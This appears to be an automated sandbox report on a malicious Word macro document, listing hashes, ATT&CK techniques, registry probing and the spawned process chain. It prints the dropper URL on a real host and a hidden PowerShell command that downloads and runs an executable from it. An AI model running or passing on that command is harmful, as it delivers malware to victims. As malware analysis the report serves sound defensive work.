a544b4050677d9e5ad964398954cf7d74c96b65a1126a8bb3491fbe52ff0ec10

Analysis

max time kernel
109s
max time network
144s
platform
windows10_x64
resource
win10v20210410
submitted
27-07-2021 09:08

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General

Target

27-07-2021/27-07-2021/ETL_013265_601_0758.doc
Size

114KB
MD5

a35d5eec842a0785f5b461da949b00cb
SHA1

fec56ecc489b226da672ecd31428a568b3e9dd2b
SHA256

1f2a609fdb89b7fda367578568a00f9739105c8a01202fd7c8784515be4bdd35
SHA512

fe60851ff0f43f0f55aac199dbe53a4de8a28e34732a4d83cca2d9f9820141f5dfbbfd7e5973e4c4226a16e1f4962395c9a97015dabe86a817f6970c2777ff82

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://lifestyledrinks.hu/wp-includes/cs3/ETL_013265_601_0758.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	2252	4056	cmd.exe	WINWORD.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4056 WINWORD.EXE
4056 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

2732 powershell.exe
2732 powershell.exe
2732 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2732 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4056 WINWORD.EXE
4056 WINWORD.EXE
4056 WINWORD.EXE
4056 WINWORD.EXE
4056 WINWORD.EXE
4056 WINWORD.EXE
4056 WINWORD.EXE

pid	process
4056	WINWORD.EXE
4056	WINWORD.EXE

pid	process
2732	powershell.exe
2732	powershell.exe
2732	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2732	powershell.exe

pid	process
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE
4056	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 4056 wrote to memory of 2252	4056	WINWORD.EXE	cmd.exe
PID 4056 wrote to memory of 2252	4056	WINWORD.EXE	cmd.exe
PID 2252 wrote to memory of 2732	2252	cmd.exe	powershell.exe
PID 2252 wrote to memory of 2732	2252	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\27-07-2021\27-07-2021\ETL_013265_601_0758.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4056

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\buildingsociety.bat" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2252

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w h Start-BitsTransfer -Source http://lifestyledrinks.hu/wp-includes/cs3/ETL_013265_601_0758.exe -Destination C:\Users\Public\Documents\factfriend.exe;C:\Users\Public\Documents\factfriend.exe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2732

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Public\Documents\buildingsociety.bat
MD5
8ce32d29b2af7ed32efc563dee9903cf

SHA1
18d67217f1e8a07a311175a274a753a0af4b9f7b

SHA256
10f02361c25228a08242b6ddfd33e8b48ed0a647fe9d699ae5a8f55cd1a86573

SHA512
dfc9080e48c115d85a263db1375cbed73405e27e402e995f2b6dc88028d62e344870325bd139c2d8fb9861a3a856e7133fb48724caaa81d000ea528b9e7a47cc

Download Submit
memory/2252-230-0x0000000000000000-mapping.dmp

Download
memory/2732-352-0x000001B16E710000-0x000001B16E711000-memory.dmp

Filesize
4KB

Download
memory/2732-412-0x000001B16E2A8000-0x000001B16E2A9000-memory.dmp

Filesize
4KB

Download
memory/2732-403-0x000001B16E2A6000-0x000001B16E2A8000-memory.dmp

Filesize
8KB

Download
memory/2732-391-0x000001B16E760000-0x000001B16E761000-memory.dmp

Filesize
4KB

Download
memory/2732-291-0x000001B16E2A3000-0x000001B16E2A5000-memory.dmp

Filesize
8KB

Download
memory/2732-289-0x000001B16E2A0000-0x000001B16E2A2000-memory.dmp

Filesize
8KB

Download
memory/2732-271-0x000001B16E9A0000-0x000001B16E9A1000-memory.dmp

Filesize
4KB

Download
memory/2732-264-0x000001B16E230000-0x000001B16E231000-memory.dmp

Filesize
4KB

Download
memory/2732-255-0x0000000000000000-mapping.dmp

Download
memory/4056-115-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-116-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-123-0x00007FF83F4C0000-0x00007FF8413B5000-memory.dmp

Filesize
31.0MB

Download
memory/4056-122-0x00007FF8413C0000-0x00007FF8424AE000-memory.dmp

Filesize
16.9MB

Download
memory/4056-114-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-118-0x00007FF846470000-0x00007FF848F93000-memory.dmp

Filesize
43.1MB

Download
memory/4056-119-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-117-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-463-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-464-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-465-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download
memory/4056-466-0x00007FF8256F0000-0x00007FF825700000-memory.dmp

Filesize
64KB

Download